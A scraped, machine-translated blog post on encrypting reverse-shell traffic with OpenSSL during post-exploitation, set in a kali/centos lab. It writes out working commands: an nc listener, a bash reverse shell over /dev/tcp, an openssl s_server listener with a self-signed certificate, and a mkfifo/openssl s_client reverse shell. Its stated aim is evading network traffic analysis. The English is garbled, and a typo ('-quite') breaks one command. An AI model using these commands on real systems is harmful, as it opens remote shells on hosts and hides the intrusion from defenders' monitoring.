当前位置:网站首页>Using OpenSSL encryption to rebound shell traffic
Using OpenSSL encryption to rebound shell traffic
2022-07-01 18:34:00 【Cheng-ling】
brief introduction
In the post penetration stage, it is often necessary to rebound for further horizontal operation shell, But rebound shell There is a drawback to both methods , Traffic is transmitted in clear text . Traffic analysis will soon be found , If you trace the attack traffic , Detect features with attacks , You can reproduce the attack process .
Experimental environment
kali:192.168.95.128
centos:192.168.95.147
Wireshark Grab the bag
stay kali Upper use nc Listening on a port
nc -lvvp 4444

take centos Of shell Bounce past
bash -i >& /dev/tcp/192.168.95.128/4444 0>&1

Use wireshark Grab traffic packets , Bounce back shell Then execute some commands



Right click to track tcp Stream query to see details

Use wireshark You can directly see the input command and return information by capturing packets
OpenSSL Rebound encryption shell
OpenSSL Is an open source software library package , Applications can use this package for secure communication , Avoid eavesdropping , At the same time, confirm the identity of the connector at the other end .
Use on the server openssl Command generates a self signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Certificate information can be entered or not
Use on the server openssl Command listens on a port
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
![]()
Use the command to execute the bounce on the client target host
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.95.128:4444>/tmp/s;rm /tmp/s

Use wireshark Grab traffic packets , Received a rebound shell Then execute some commands

Check it again wireshark Captured traffic packets , It's encrypted


The server and client are using TLSv1.2 Protocol for encrypted communication .
Conclusion
I have eaten all the bitterness , If you haven't grown up , You'll lose .
边栏推荐
- Is online stock account opening safe? Is it reliable?
- Develop those things: add playback address authentication to easycvr platform
- Step size of ode45 and reltol abstol
- Set the style of QT property sheet control
- 主成分之综合竞争力案例分析
- What is web application security testing technology?
- Talk about the favorite tools used by project managers
- Glidefast consulting was selected as the elite partner of servicenow in 2022
- Easycvr accesses the equipment through the national standard gb28181 protocol. What is the reason for the automatic streaming of the equipment?
- About selenium element positioning being overwritten
猜你喜欢

Localization through custom services in the shuttle application

PTA year of birth

Xia CaoJun ffmpeg 4.3 audio and video foundation to engineering application
![[image denoising] matlab code for removing salt and pepper noise based on fast and effective multistage selective convolution filter](/img/bf/f8759195ea67832835e84c851b5e81.jpg)
[image denoising] matlab code for removing salt and pepper noise based on fast and effective multistage selective convolution filter

Highly reliable program storage and startup control system based on anti fuse FPGA and QSPI flash
![Htt [ripro network disk link detection plug-in] currently supports four common network disks](/img/e4/c06b94243cdbe391b8b2124ff30789.jpg)
Htt [ripro network disk link detection plug-in] currently supports four common network disks

2022 Heilongjiang latest fire protection facility operator simulation test question bank and answers

Penetration practice vulnhub range Keyring

Penetration practice vulnhub range Tornado

Mujoco model learning record
随机推荐
Glidefast consulting was selected as the elite partner of servicenow in 2022
Basic usage of shell script
. Net cloud native architect training camp (permission system code implements actionaccess) -- learning notes
What is web application security testing technology?
Fix the problem that easycvr device video cannot be played
EasyCVR通过国标GB28181协议接入设备,出现设备自动拉流是什么原因?
Fix the black screen caused by iPhone system failure
Small exercise -- subnet division and summary
On the language internationalization of Yongzhong Office
C# SelfHost WebAPI (2)
Product service, operation characteristics
[acnoi2022] color ball
EasyCVR设备录像出现无法播放现象的问题修复
Function, condition, regular expression
Android development interview was badly hit in 3 years, and now the recruitment technical requirements are so high?
L'ouverture d'un compte d'actions en ligne est - elle sécurisée? Fiable?
Equipment simulation and deduction training system software
Depth first search - DFS (burst search)
Sanfeng cloud 0215 I often use
Distributed task queue: Celery usage record